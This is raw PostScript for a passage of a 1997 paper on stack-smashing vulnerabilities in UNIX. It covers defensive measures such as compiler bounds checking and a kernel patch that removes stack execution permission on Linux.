rr : 0 0 0 sco O ; 2857 3854 N M 6 6 rr : 0 0 0 sco O ; 2857 3854 N M 6 6 rr : 0 0 0 sco O ; 2111 4092 N M 6 6 rr : 0 0 0 sco O ; 2111 4092 N M 6 6 rr : 0 0 0 sco O ; 2117 4092 N M 740 6 rr : 0 0 0 sco O ; 2857 4092 N M 6 6 rr : 0 0 0 sco O ; 2857 4092 N M 6 6 rr : 0 0 0 sco O ; 2111 3860 N M 6 232 rr : 0 0 0 sco O ; 2857 3860 N M 6 232 rr : 0 0 0 sco O ; LH savelevel1 restore pagesave restore (%%[ Page: 26 ]%%) = %%PageTrailer %%Page: 27 27 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (27)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1869 1512 M 0.011 0 (Example 9.2.a Jones and Kelly results)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 612 1659 M -0.200 0 (D)A -0.400 0 (e)A 0.100 0 (s)A (p)S 0.200 0 (it)A 23.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (e)A 0.200 0 (mi)A -0.300 0 (-f)A -0.400 0 (a)A (vo)S -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (l)A 23.400 0 32 -0.400 0 (e )D (p)S -0.400 0 (e)A -0.300 0 (rf)A (o)S -0.300 0 (r)A 0.200 0 (m)A -0.400 0 (a)A (n)S 23.400 0 32 -0.400 0 (ce )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A 0.100 0 (s)A 0.200 0 (ti)A -0.400 0 (c)A 0.100 0 (s)A 23.000 0 32 (, )W 0.200 0 (i)A 23.000 0 32 (n )W -0.400 0 (a)A (dd)S 0.200 0 (iti)A 24.000 0 32 (on )W 0.200 0 (t)A 24.000 0 32 (o )W 0.200 0 (t)A (h)S 24.400 0 32 -0.400 0 (e )D -1.000 0 (g)A -0.400 0 (e)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 23.800 0 32 0.200 0 (l )D -0.300 0 (r)A 0.200 0 (i)A 0.100 0 (s)A 24.000 0 32 (k )W 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S -0.400 0 (e)A 24.000 0 32 (d )W -0.400 0 (a)A 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1836 M 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A -3.000 0 (y)A 0.200 0 (i)A (n)S 11.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 10.400 0 32 -0.400 0 (e )D 9.700 0 32 0.300 0 (C )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 10.400 0 32 -0.400 0 (e a)D 9.800 0 32 0.200 0 (t t)D (h)S 0.200 0 (i)A 9.900 0 32 0.100 0 (s )D 0.200 0 (l)A -0.400 0 (e)A (v)S -0.400 0 (e)A 0.200 0 (l)A 10.000 0 32 (, )W 0.200 0 (t)A (h)S 0.200 0 (i)A 9.900 0 32 0.100 0 (s )D 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (ti)A 10.000 0 32 (on )W 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S -0.400 0 (e)A 9.900 0 32 0.100 0 (s )D (p)S -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (c)A (h)S 0.200 0 (i)A (n)S 11.000 0 32 -1.000 0 (g )D -0.400 0 (a)A 10.000 0 32 (nd )W -0.300 0 (r)A -0.400 0 (ec)A (o)S 0.200 0 (m)A (p)S 0.200 0 (ili)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2013 M 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e e)D 1.000 0 (x)A 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (ti)A (n)S 7.000 0 32 -1.000 0 (g )D 5.700 0 32 0.300 0 (C )D -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 6.300 0 32 -0.300 0 (r )D -0.400 0 (a)A 6.000 0 32 (nd )W 0.200 0 (it)A 5.900 0 32 0.100 0 (s )D 0.200 0 (li)A (b)S -0.300 0 (r)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 0.100 0 (s)A 6.000 0 32 (. )W -0.600 0 (F)A (u)S -0.300 0 (r)A 0.200 0 (t)A (h)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A (o)S -0.300 0 (r)A -0.400 0 (e)A 6.000 0 32 (, )W -0.400 0 (a)A 5.800 0 32 0.200 0 (ll )D (p)S -0.300 0 (r)A -0.400 0 (e)A (v)S 0.200 0 (i)A (ou)S 0.100 0 (s)A 0.200 0 (l)A 9.000 0 32 -3.000 0 (y )D -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 6.000 0 32 (d b)W 0.200 0 (i)A (n)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 5.900 0 32 0.100 0 (s )D 0.200 0 (m)A (u)S 0.100 0 (s)A 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2190 M (b)S 0.400 0 32 -0.400 0 (e )D (d)S -0.400 0 (e)A 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (e)A (d )S -0.400 0 (a)A (nd )S -0.300 0 (r)A -0.400 0 (ec)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A (d )S -0.200 0 (w)A 0.200 0 (it)A (h )S 0.200 0 (t)A (h)S 0.400 0 32 -0.400 0 (e )D (n)S -0.400 0 (e)A 0.200 0 32 -0.200 0 (w )D 0.200 0 (li)A (b)S -0.300 0 (r)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 0.100 0 (s)A (. )S -0.200 0 (O)A (n)S 1.400 0 32 -0.400 0 (ce )D 0.200 0 (t)A (h)S 0.200 0 (i)A 0.900 0 32 0.100 0 (s )D 0.200 0 (i)A 0.900 0 32 0.100 0 (s )D (don)S -0.400 0 (e)A 1.000 0 32 (, )W -0.400 0 (a)A 0.800 0 32 0.200 0 (ll )D (b)S 0.200 0 (i)A (n)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 0.900 0 32 0.100 0 (s )D 1.000 0 32 (on )W 0.200 0 (t)A (h)S 1.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2367 M -0.023 0 (will execute with respect to this patch.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 2544 M -2.300 0 (I)A 13.000 0 32 (n )W -0.400 0 (c)A (on)S -0.400 0 (c)A 0.200 0 (l)A (u)S 0.100 0 (s)A 0.200 0 (i)A 13.000 0 32 (on, )W 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A -3.000 0 (y)A 0.200 0 (i)A (n)S 14.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 14.400 0 32 -0.400 0 (e )D 13.700 0 32 0.300 0 (C )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 14.400 0 32 -0.400 0 (e )D (o)S 14.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S 14.400 0 32 -0.400 0 (e )D 13.700 0 32 0.300 0 (C )D -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 14.300 0 32 -0.300 0 (r )D 0.200 0 (t)A 14.000 0 32 (o )W 13.800 0 32 0.200 0 (limit )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 14.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2721 M (oppo)S -0.300 0 (r)A 0.200 0 (t)A (un)S 0.200 0 (iti)A -0.400 0 (e)A 0.900 0 32 0.100 0 (s )D (o)S -0.300 0 (f)A 0.200 0 (t)A -0.400 0 (e)A 1.000 0 32 (n )W 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S -0.400 0 (e)A 0.900 0 32 0.100 0 (s )D 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A -3.000 0 (y)A 0.200 0 (i)A (n)S 2.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 1.400 0 32 -0.400 0 (e )D 0.700 0 32 0.300 0 (C )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 1.400 0 32 -0.400 0 (e a)D 0.800 0 32 0.200 0 (t )D 1.400 0 32 -0.400 0 (a )D (non)S -0.300 0 (-)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (i)A -0.400 0 (a)A 0.800 0 32 0.200 0 (l l)D -0.400 0 (e)A (v)S -0.400 0 (e)A 0.200 0 (l)A 2.000 0 32 (. )W -0.200 0 (A)A (dd)S 0.200 0 (iti)A (on)S -0.400 0 (a)A 0.200 0 (ll)A -3.000 0 (y)A 2.000 0 32 (, )W 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2898 M 0.200 0 (m)A (o)S 0.100 0 (s)A 46.800 0 32 0.200 0 (t )D -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 47.000 0 32 1.000 0 (x )D -0.400 0 (a)A 48.000 0 32 (nd )W -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S -0.300 0 (r)A -0.400 0 (e)A (h)S -0.400 0 (e)A (n)S 0.100 0 (s)A 0.200 0 (i)A (v)S 48.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (o)S 0.200 0 (l)A (u)S 0.200 0 (ti)A (on)S 47.900 0 32 0.100 0 (s )D (o)S 48.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 0.200 0 (i)A 47.900 0 32 0.100 0 (s )D (n)S -0.400 0 (a)A 0.200 0 (t)A (u)S -0.300 0 (r)A -0.400 0 (e)A 48.000 0 32 (, d)W -0.400 0 (e)A 0.100 0 (s)A (p)S 0.200 0 (it)A 48.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.200 0 (i)A 48.300 0 32 -0.300 0 (r )D 0.200 0 (l)A (on)S 49.000 0 32 -1.000 0 (g )D 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3075 M -0.400 0 (ce)A (n)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A -0.400 0 (a)A 0.200 0 (ti)A 25.000 0 32 (on, )W 0.100 0 (s)A 24.800 0 32 0.200 0 (till )D -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (a)A 0.200 0 (i)A 25.000 0 32 (n )W 0.200 0 (l)A -0.400 0 (a)A -0.300 0 (r)A -1.000 0 (g)A -0.400 0 (e)A 0.200 0 (l)A 28.000 0 32 -3.000 0 (y )D (d)S -0.400 0 (ece)A (n)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A -0.400 0 (e)A 25.000 0 32 (d )W -0.400 0 (a)A 25.000 0 32 (nd d)W 0.200 0 (i)A -0.300 0 (ff)A 0.200 0 (i)A -0.400 0 (c)A (u)S 24.800 0 32 0.200 0 (lt t)D 25.000 0 32 (o )W 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 24.800 0 32 0.200 0 (t )D -0.400 0 (a)A 25.000 0 32 (nd )W 0.200 0 (t)A -0.400 0 (e)A 0.100 0 (s)A 24.800 0 32 0.200 0 (t i)D 26.000 0 32 (n )W -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3252 M -0.300 0 (r)A -0.400 0 (ea)A 0.100 0 (s)A (on)S -0.400 0 (a)A (b)S 0.200 0 (l)A 9.400 0 32 -0.400 0 (e a)D 0.200 0 (m)A (oun)S 8.800 0 32 0.200 0 (t )D (o)S 9.300 0 32 -0.300 0 (f )D 0.200 0 (tim)A -0.400 0 (e)A 9.000 0 32 (. )W -0.100 0 (T)A (h)S 9.400 0 32 -0.400 0 (e )D 0.200 0 (m)A (o)S -0.300 0 (r)A 9.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (i)A -0.400 0 (a)A 8.800 0 32 0.200 0 (l m)D (od)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (ti)A (on)S 8.900 0 32 0.100 0 (s )D (o)S 9.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 0.200 0 (i)A 8.900 0 32 0.100 0 (s )D (n)S -0.400 0 (a)A 0.200 0 (t)A (u)S -0.300 0 (r)A 9.400 0 32 -0.400 0 (e )D (d)S -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (t)A 9.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (im)A (p)S 0.200 0 (l)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3429 M 0.200 0 (i)A (n)S 0.200 0 (t)A 24.000 0 32 (o )W -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 24.300 0 32 -0.300 0 (r )D -0.200 0 (w)A -0.400 0 (a)A -0.300 0 (r)A (n)S 0.200 0 (i)A (n)S 25.000 0 32 -1.000 0 (g )D 0.200 0 (m)A -0.400 0 (e)A 0.100 0 (ss)A -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 23.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 24.800 0 32 0.200 0 (t )D -0.400 0 (ca)A 25.000 0 32 (n on)W 0.200 0 (l)A 28.000 0 32 -3.000 0 (y )D -0.400 0 (e)A (n)S -0.400 0 (c)A (ou)S -0.300 0 (r)A -0.400 0 (a)A -1.000 0 (g)A 25.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 25.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mm)A -0.400 0 (e)A 25.300 0 32 -0.300 0 (r )D 0.200 0 (t)A 25.000 0 32 (o )W 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A 28.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3606 M -0.294 0 (program manually.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 612 3784 M 0.189 0 (11.3 CPU/OS kernel stack execution privilege)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 3989 M -0.100 0 (T)A (h)S 25.400 0 32 -0.400 0 (e )D 0.200 0 (m)A (o)S 0.100 0 (s)A 25.800 0 32 0.200 0 (t )D -0.400 0 (ce)A (n)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A -0.400 0 (e)A 26.000 0 32 (d )W -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 26.000 0 32 (h )W 0.200 0 (i)A 26.000 0 32 (n p)W -0.300 0 (r)A -0.400 0 (e)A (v)S -0.400 0 (e)A (n)S 0.200 0 (ti)A (n)S 27.000 0 32 -1.000 0 (g )D 0.100 0 (s)A (o)S 0.200 0 (m)A 26.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 26.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 27.000 0 32 -1.000 0 (g )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4166 M 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S -0.400 0 (e)A 3.900 0 32 0.100 0 (s )D 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A -3.000 0 (y)A 0.200 0 (i)A (n)S 5.000 0 32 -1.000 0 (g )D -0.400 0 (a)A 4.000 0 32 (n op)W -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 5.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A -1.000 0 (')A 3.900 0 32 0.100 0 (s )D (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 3.800 0 32 0.200 0 (l )D 0.100 0 (s)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (m)A -0.400 0 (e)A (n)S 3.800 0 32 0.200 0 (t limit)D 5.000 0 32 ( )W 0.100 0 (s)A (u)S -0.400 0 (c)A 5.000 0 32 (h )W 0.200 0 (t)A (h)S -0.400 0 (a)A 4.800 0 32 0.200 0 (t it )D (do)S -0.400 0 (e)A 4.900 0 32 0.100 0 (s )D (no)S 4.800 0 32 0.200 0 (t )D -0.400 0 (c)A (ov)S -0.400 0 (e)A 5.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4343 M -0.400 0 (ac)A 0.200 0 (t)A (u)S -0.400 0 (a)A -0.200 0 32 0.200 0 (l )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A (k )S 0.100 0 (s)A (p)S -0.400 0 (ace)A (. )S -0.100 0 (T)A (h)S 0.200 0 (i)A -0.100 0 32 0.100 0 (s )D -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A (h )S -0.400 0 (e)A -0.300 0 (ff)A -0.400 0 (ec)A 0.200 0 (ti)A (v)S -0.400 0 (e)A 0.200 0 (l)A 3.000 0 32 -3.000 0 (y )D -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (m)A (ov)S -0.400 0 (e)A -0.100 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 0.400 0 32 -0.400 0 (e )D (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 0.200 0 (l)A -1.000 0 (')A -0.100 0 32 0.100 0 (s s)D 0.200 0 (t)A -0.400 0 (ac)A 1.000 0 32 (k )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 1.000 0 32 (on p)W -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 0.100 0 (ss)A 0.200 0 (i)A (on.)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4520 M -0.100 0 (T)A (h)S 0.200 0 (i)A 16.900 0 32 0.100 0 (s )D (h)S -0.400 0 (a)A 16.900 0 32 0.100 0 (s )D 17.400 0 32 -0.400 0 (a )D -0.300 0 (f)A (und)S -0.400 0 (a)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 16.800 0 32 0.200 0 (l )D -0.400 0 (a)A (dv)S -0.400 0 (a)A (n)S 0.200 0 (t)A -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 16.900 0 32 0.100 0 (s )D (ov)S -0.400 0 (e)A 17.300 0 32 -0.300 0 (r )D (o)S 0.200 0 (t)A (h)S -0.400 0 (e)A 17.300 0 32 -0.300 0 (r )D -0.400 0 (c)A (oun)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r-)A 0.200 0 (m)A -0.400 0 (ea)A 0.100 0 (s)A (u)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A 17.000 0 32 (. )W 18.000 0 32 ( )W -0.200 0 (A)A 17.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 18.400 0 32 -0.400 0 (e )D 0.200 0 (m)A (o)S 0.100 0 (s)A 17.800 0 32 0.200 0 (t )D -0.400 0 (ce)A (n)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A -0.400 0 (e)A (d)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4697 M 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (t)A (hod )S 0.200 0 (i)A (n )S 0.200 0 (limiti)A (n)S 1.000 0 32 -1.000 0 (g )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A (k )S 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 1.000 0 32 -1.000 0 (g )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 0.100 0 (s)A (, no )S -0.300 0 (r)A -0.400 0 (ec)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (a)A 0.200 0 (ti)A 1.000 0 32 (on o)W 1.300 0 32 -0.300 0 (f )D 0.700 0 32 0.300 0 (C )D 0.200 0 (li)A (b)S -0.300 0 (r)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 0.900 0 32 0.100 0 (s )D (o)S 1.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S 1.400 0 32 -0.400 0 (e ac)D 0.200 0 (t)A (u)S -0.400 0 (a)A 0.200 0 (l)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4874 M -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 24.300 0 32 -0.300 0 (r )D -0.200 0 (w)A (ou)S 0.200 0 (l)A 24.000 0 32 (d b)W 24.400 0 32 -0.400 0 (e )D (n)S -0.400 0 (ece)A 0.100 0 (ss)A -0.400 0 (a)A -0.300 0 (r)A -3.000 0 (y)A 25.000 0 32 (, on)W 0.200 0 (l)A 28.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S 25.400 0 32 -0.400 0 (e )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 26.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 24.800 0 32 0.200 0 (m )D (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 24.800 0 32 0.200 0 (l )D (n)S -0.400 0 (ee)A 25.000 0 32 (d b)W 25.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (ec)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 25.000 0 32 (d. )W -0.200 0 (A)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5051 M (p)S -0.300 0 (r)A -0.400 0 (ac)A 0.200 0 (ti)A -0.400 0 (ca)A 10.800 0 32 0.200 0 (l im)D (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A 11.000 0 32 (on o)W 12.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 0.200 0 (i)A 11.900 0 32 0.100 0 (s )D -0.400 0 (c)A (on)S -0.400 0 (ce)A (p)S 11.800 0 32 0.200 0 (t )D 12.000 0 32 (on )W 0.200 0 (t)A (h)S 12.400 0 32 -0.400 0 (e )D -2.100 0 (L)A 0.200 0 (i)A (nu)S 11.000 0 32 1.000 0 (x )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 13.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 11.800 0 32 0.200 0 (m i)D 11.900 0 32 0.100 0 (s )D (d)S -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (c)A -0.300 0 (r)A 0.200 0 (i)A (b)S -0.400 0 (e)A 12.000 0 32 (d b)W -0.400 0 (e)A 0.200 0 (l)A (o)S -0.200 0 (w)A (,)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5228 M -0.027 0 (this description touches on the details of implementation as well as some of the problems.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 5405 M -0.100 0 (T)A 4.000 0 32 (o )W -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (m)A (ov)S 4.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 5.000 0 32 (k )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 5.000 0 32 (on p)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A 5.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 5.000 0 32 (n )W -0.200 0 (UN)A -2.300 0 (I)A -0.200 0 (X)A 5.000 0 32 (, )W 0.200 0 (t)A (h)S 5.400 0 32 -0.400 0 (e )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 6.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 4.800 0 32 0.200 0 (m )D (d)S -3.000 0 (y)A (n)S -0.400 0 (a)A 0.200 0 (mi)A 5.400 0 32 -0.400 0 (c )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5582 M -0.400 0 (a)A 0.200 0 (ll)A (o)S -0.400 0 (ca)A 0.200 0 (ti)A 13.000 0 32 (on )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 13.000 0 32 (k o)W 13.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 13.400 0 32 -0.400 0 (e )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 14.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 12.800 0 32 0.200 0 (m i)D 12.900 0 32 0.100 0 (s )D 0.200 0 (m)A -0.400 0 (a)A -0.300 0 (r)A (k)S -0.400 0 (e)A 13.000 0 32 (d )W -0.400 0 (a)A 13.900 0 32 0.100 0 (s )D (non)S -0.300 0 (-)A -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 14.000 0 32 (. )W -0.100 0 (T)A (hu)S 0.100 0 (s)A 14.000 0 32 (, )W -0.400 0 (e)A (v)S -0.400 0 (e)A -0.300 0 (r)A 17.000 0 32 -3.000 0 (y )D (p)S -0.300 0 (r)A (o)S -0.400 0 (ce)A 0.100 0 (ss)A ; : 511 500 3982 1008 rc 0 0 0 sco F2_83 Ji 912 518 M -0.004 0 (Performance)A ; 586 500 N M 6 6 rr : 0 0 0 sco O ; 586 500 N M 6 6 rr : 0 0 0 sco O ; 592 500 N M 3820 6 rr : 0 0 0 sco O ; 4412 500 N M 6 6 rr : 0 0 0 sco O ; 4412 500 N M 6 6 rr : 0 0 0 sco O 